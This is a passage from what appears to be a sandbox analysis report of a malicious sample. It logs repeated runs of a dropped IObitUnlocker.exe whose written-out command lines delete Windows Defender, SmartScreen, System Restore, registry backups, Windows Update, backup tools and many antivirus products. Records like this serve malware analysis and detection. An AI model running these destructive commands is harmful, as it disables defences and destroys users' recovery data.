Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                          6⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:5024
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                          6⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:6020
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled 